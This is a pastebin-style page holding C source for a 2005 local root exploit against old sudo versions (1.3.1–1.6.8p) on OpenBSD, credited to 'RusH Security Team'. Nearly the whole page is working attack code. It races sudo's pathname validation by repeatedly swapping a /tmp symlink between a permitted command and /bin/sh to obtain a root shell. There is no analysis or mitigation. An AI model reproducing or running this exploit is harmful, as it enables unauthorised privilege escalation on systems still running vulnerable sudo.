SHOW:
|
|
- or go back to the newest paste.
| 1 | ==================================================================== | |
| 2 | Sudo 1.3.1 - 1.6.8p Pathname Validation Local Root Exploit (openbsd) | |
| 3 | ==================================================================== | |
| 4 | ||
| 5 | #include <stdio.h> | |
| 6 | #include <stdlib.h> | |
| 7 | #include <unistd.h> | |
| 8 | #include <sysexits.h> | |
| 9 | #include <sys/wait.h> | |
| 10 | ||
| 11 | #define SUDO "/usr/bin/sudo" | |
| 12 | #ifdef BUFSIZ | |
| 13 | #undef BUFSIZ | |
| 14 | #define BUFSIZ 128 | |
| 15 | #endif | |
| 16 | ||
| 17 | /* | |
| 18 | ANY MODIFIED REPUBLISHING IS RESTRICTED | |
| 19 | OpenBSD sudo 1.3.1 - 1.6.8p local root exploit | |
| 20 | Tested under OpenBSD 3.6 sudo 1.6.7p5 | |
| 21 | Vuln by OpenBSD errata, http://www.openbsd.org/errata.html | |
| 22 | (c)oded by __blf 2005 RusH Security Team, http://rst.void.ru | |
| 23 | Race condition in path name, can take a while to exploit | |
| 24 | Gr33tz: x97Rang, whice, rsh, MishaSt, Inck-Vizitor, BlackPrince | |
| 25 | Fck lamerz: Saint_I, nmalykh | |
| 26 | All rights reserved. | |
| 27 | ANY MODIFIED REPUBLISHING IS RESTRICTED | |
| 28 | */ | |
| 29 | ||
| 30 | int main (int argc, char ** argv) | |
| 31 | {
| |
| 32 | pid_t pid; | |
| 33 | void * buffer; | |
| 34 | char * exec, * race, * path; | |
| 35 | if(argc != 3) | |
| 36 | {
| |
| 37 | fprintf(stderr, "r57sudo.c by __blf\n"); | |
| 38 | fprintf(stderr, "RusH Security Team\n"); | |
| 39 | fprintf(stderr, "Usage: %s <sudo full path command> <sudo command>\n", | |
| 40 | argv[0]); | |
| 41 | fprintf(stderr, "e.g. ./r57sudo /bin/ls ls\n"); | |
| 42 | return EX_USAGE; | |
| 43 | } | |
| 44 | pid = fork(); | |
| 45 | if(pid == 0) | |
| 46 | {
| |
| 47 | while(1) | |
| 48 | {
| |
| 49 | exec = (char *)calloc(BUFSIZ, sizeof(char)); | |
| 50 | race = (char *)calloc(BUFSIZ, sizeof(char)); | |
| 51 | bzero(exec, sizeof(exec)); | |
| 52 | snprintf(exec, BUFSIZ, "ln -fs %s /tmp/%s", argv[1], argv[2]); | |
| 53 | system((char *)exec); | |
| 54 | bzero(race, sizeof(race)); | |
| 55 | snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]); | |
| 56 | system((char *)race); | |
| 57 | bzero(race, sizeof(race)); | |
| 58 | snprintf(race, BUFSIZ, "ln -fs /bin/sh /tmp/%s", argv[2]); | |
| 59 | system((char *)race); | |
| 60 | bzero(race, sizeof(race)); | |
| 61 | snprintf(race, BUFSIZ, "rm /tmp/%s", argv[2]); | |
| 62 | system((char *)race); | |
| 63 | } | |
| 64 | } | |
| 65 | if(pid > 0) | |
| 66 | {
| |
| 67 | while(1) | |
| 68 | {
| |
| 69 | path = (char *)calloc(BUFSIZ/2, sizeof(char)); | |
| 70 | snprintf(path, BUFSIZ/2, "%s /tmp/%s", SUDO, argv[2]); | |
| 71 | system((char *)path); | |
| 72 | } | |
| 73 | } | |
| 74 | } | |
| 75 | ||
| 76 | ||
| 77 | ||
| 78 | # 62FC0146FF73E4A9 1337day.com [2014-09-08] BA7C281DBF31E69D # |
